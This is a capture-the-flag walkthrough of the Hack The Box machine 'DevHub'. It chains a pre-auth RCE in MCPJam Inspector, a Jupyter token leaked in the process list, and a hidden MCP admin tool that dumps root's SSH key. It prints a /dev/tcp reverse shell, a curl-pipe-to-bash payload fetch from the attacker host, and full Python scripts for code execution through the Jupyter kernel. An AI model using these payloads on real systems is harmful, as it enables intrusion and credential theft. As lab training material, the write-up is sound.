DevHub WriteUp
Table of Contents
DevHub is a π§ Medium difficulty machine on Hack The Box
, part of Season 11. The name reflects its purpose: an internal development platform that exposes an MCP (Model Context Protocol)
server inspector. The central vulnerability is CVE-2026-23744, a pre-auth RCE in MCPJam Inspector with CVSS 9.8.
πΊοΈ Attack Chain
Nmap β Port 22 (SSH) + 80 (nginx DevHub) + 6274 (MCPJam Inspector)
β
βΌ
CVE-2026-23744 β POST /api/mcp/connect β RCE as mcp-dev
β
βΌ
ps aux β Jupyter Lab token exposed β raw WebSocket β RCE as analyst
β
βΌ
/home/analyst/user.txt π©
β
βΌ
Jupyter reads /opt/opsmcp/server.py (root) β API key + hidden tool ops._admin_dump
β
βΌ
POST /tools/call target=ssh_keys β root SSH private key
β
βΌ
ssh -i root_key root@localhost β root.txt π΄
π Reconnaissance
/etc/hosts
echo "10.129.8.48 devhub.htb" | sudo tee -a /etc/hosts
Port Scan
Phase 1, Quick TCP discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv devhub.htb
Phase 2, Version and script detection:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv devhub.htb
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 |
80 | HTTP | nginx 1.18.0, DevHub Internal Development Platform |
6274 | HTTP | MCPJam Inspector |
The key finding is port 6274. The HTTP response title is MCPJam Inspector: a debugging tool for MCP
servers that listens on 0.0.0.0 by default instead of 127.0.0.1, exposing it to any attacker with network access.
π Initial Access, CVE-2026-23744 (MCPJam Inspector RCE)
What is CVE-2026-23744?
π§ Concept: CVE-2026-23744 is a pre-authenticated RCE in MCPJam Inspector β€ 1.4.2. The
/api/mcp/connectendpoint accepts JSON fieldscommandandargsthat define how to start an MCP server, with no validation or authentication whatsoever. Since the inspector listens on0.0.0.0by default, any network attacker can send a POST with a “MCP server” that actually executes arbitrary commands. CVSS 9.8. Fixed in v1.4.3.
Verification
Before getting a reverse shell, we confirm code execution with an OOB callback:
# Terminal 1 β HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 2 β exploit (takes HOST and command, not a full URL)
git clone https://github.com/boroeurnprach/CVE-2026-23744-PoC
cd CVE-2026-23744-PoC
python3 exploit.py devhub.htb 'curl http://YOUR_IP/rce-test'
10.129.8.48 - - "GET /rce-test HTTP/1.1" 404 -
RCE confirmed.
Reverse Shell
# Terminal 1 β listener
penelope -p 8443
# Terminal 2 β stage the payload on the HTTP server
echo 'bash -i >& /dev/tcp/YOUR_IP/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 3 β exploit: fetch shell.sh from attacker and execute it
python3 exploit.py devhub.htb 'curl http://YOUR_IP/shell.sh|bash'
[+] Got reverse shell from devhub~10.129.8.48-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
β Shell as
mcp-dev. The exploit sends{"serverConfig": {"command": "sh", "args": ["-c", "PAYLOAD"]}}to/api/mcp/connect, the inspector spawns the process with no validation.
π Pivot to User, Jupyter Lab Token Exposed in Process List
Finding the token
From the mcp-dev shell, we list running processes:
ps aux
Among the results:
analyst 1043 ... /home/analyst/jupyter-env/bin/jupyter-lab
--ip=127.0.0.1 --port=8888 --no-browser
--notebook-dir=/home/analyst/notebooks
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
The Jupyter Lab
authentication token is visible in the process command line, readable by any user who can run ps aux. With this token we can authenticate to the Jupyter REST API and execute arbitrary Python code as analyst.
Code execution via Jupyter API
The Jupyter REST API allows creating Python kernels and sending code to them. The kernel communication uses WebSocket
, but the websocket module is not available in the system Python.
Solution: we implement the WebSocket protocol manually using Python’s standard socket module, the same approach used with the Node.js Inspector on other machines. The key protocol steps:
- Create the kernel via REST:
POST /api/kernelsβ get akernel_id - Connect via WebSocket to
/api/kernels/{id}/channels - Send an
execute_requestin Jupyter Messaging Protocol format - Parse the response looking for
streammessages that contain stdout
π‘ WebSocket frames sent clientβserver must be masked (RFC 6455). Without the XOR mask the server silently closes the connection, the same issue that appeared with the Node.js inspector.
Step 1, Create the kernel:
curl -s -X POST "http://127.0.0.1:8888/api/kernels" \
-H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{"name":"python3"}'
{"id": "f99996c7-6df0-4583-8f7a-8ceb1396ce7e", "name": "python3", ...}
Step 2, Execute code in the kernel via WebSocket:
cat > /tmp/jupyter_exec.py << 'EOF'
import socket, json, os, struct, time, uuid, re
KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"
# 1. WebSocket handshake (HTTP Upgrade)
sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096) # consume HTTP 101 Switching Protocols
# 2. Send masked WebSocket frames (required by RFC 6455)
def send_msg(s, msg):
payload = msg.encode()
mask = os.urandom(4)
masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
ln = len(payload)
if ln <= 125: hdr = bytes([0x81, 0x80|ln]) + mask
elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
else: hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
s.send(hdr + masked)
def recv_all(s, timeout=8):
s.settimeout(timeout)
buf = b''
try:
while True: buf += s.recv(65536)
except: pass
return buf
# 3. execute_request message (Jupyter Messaging Protocol v5)
msg = {
"header": {"msg_id": str(uuid.uuid4()), "username": "x",
"session": str(uuid.uuid4()), "msg_type": "execute_request",
"version": "5.0", "date": ""},
"parent_header": {}, "metadata": {},
"content": {
"code": "import os; print(os.popen('id; cat /home/analyst/user.txt').read())",
"silent": False, "store_history": False,
"user_expressions": {}, "allow_stdin": False
},
"channel": "shell", "buffers": []
}
send_msg(sock, json.dumps(msg))
time.sleep(3)
# 4. Extract stdout from "stream" type messages
raw = recv_all(sock).decode(errors='replace')
for m in re.finditer(r'"msg_type":\s*"stream".*?"text":\s*"(.*?)"(?=,\s*"buffers")', raw, re.DOTALL):
print(m.group(1).replace('\\n', '\n'))
sock.close()
EOF
python3 /tmp/jupyter_exec.py
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)
<user_flag>
π© User Flag
cat /home/analyst/user.txt
π§ Privilege Escalation, Hidden OPSMCP Flask Server β Root SSH Key
Finding the root MCP server
The same ps aux output also shows another relevant process:
root 1052 ... /home/manalyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
A Python server running as root. The file is not readable by mcp-dev, but it is by analyst. We copy it to /tmp with world-readable permissions using the Jupyter kernel we already have.
π‘ The script below is self-written, it reuses the exact same structure as
jupyter_exec.py. The kernel already exists, only thecodefield inexecute_requestchanges.
cat > /tmp/jupyter_copy.py << 'EOF'
import socket, json, os, struct, time, uuid
KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"
sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)
def send_msg(s, msg):
payload = msg.encode()
mask = os.urandom(4)
masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
ln = len(payload)
if ln <= 125: hdr = bytes([0x81, 0x80|ln]) + mask
elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
else: hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
s.send(hdr + masked)
msg = {
"header": {"msg_id": str(uuid.uuid4()), "username": "x",
"session": str(uuid.uuid4()), "msg_type": "execute_request",
"version": "5.0", "date": ""},
"parent_header": {}, "metadata": {},
"content": {
# Copy the file and make it readable by mcp-dev
"code": "import shutil, os; shutil.copy('/opt/opsmcp/server.py', '/tmp/opsmcp_server.py'); os.chmod('/tmp/opsmcp_server.py', 0o644)",
"silent": False, "store_history": False,
"user_expressions": {}, "allow_stdin": False
},
"channel": "shell", "buffers": []
}
send_msg(sock, json.dumps(msg))
time.sleep(3)
sock.close()
print("Done")
EOF
python3 /tmp/jupyter_copy.py && cat /tmp/opsmcp_server.py
Server analysis
The code reveals a Flask
server listening on 127.0.0.1:5000 implementing an operations API:
- Hardcoded API key:
opsmcp_secret_key_4f5a6b7c8d9e0f1a - Visible tools (
/tools/list):ops.system_status,ops.list_services,ops.check_disk,ops.view_logs - Hidden tools (not listed, but callable via
/tools/call):ops._debug_mode, reveals the existence of hidden toolsops._admin_dump, acceptstarget(ssh_keys/passwords/tokens) and dumps sensitive credentials by reading/root/.ssh/id_rsadirectly
The vulnerability is two-fold: the API key is hardcoded in the source file (readable as analyst) and the administrative tools have no additional protection beyond that same key.
API verification
# Confirm the server is up and our key is valid
curl -s http://127.0.0.1:5000/tools/list \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a"
{"tools": ["ops.system_status", "ops.list_services", "ops.check_disk", "ops.view_logs"], ...}
Only the visible tools appear. The hidden ones are not listed but can be called directly.
Extracting the root SSH private key
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
{
"note": "Emergency recovery key dump",
"root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1...",
"target": "ssh_keys"
}
SSH access as root
We extract the key from the JSON and connect directly from the victim machine:
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['root_private_key'])" > /tmp/root_key
chmod 600 /tmp/root_key
ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@localhost
root@devhub:~#
β Root shell. The API key in the MCP server source (readable as
analystvia Jupyter) plus an “emergency recovery” tool with no additional restrictions give direct access to root’s private key.
π΄ Root Flag
cat /root/root.txt
π Attack Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap | Ports 80 (DevHub) + 6274 (MCPJam Inspector) |
| 2 | CVE-2026-23744 (pre-auth RCE MCPJam) | exploit.py | Shell as mcp-dev |
| 3 | Jupyter Lab token in ps aux | raw WebSocket Python | RCE as analyst + user.txt π© |
| 4 | Read /opt/opsmcp/server.py via Jupyter | Jupyter kernel API | API key + hidden tool ops._admin_dump |
| 5 | ops._admin_dump target=ssh_keys | curl | Root SSH private key |
| 6 | SSH with root key | ssh | Shell as root + root.txt π΄ |
See you in the next challenge.
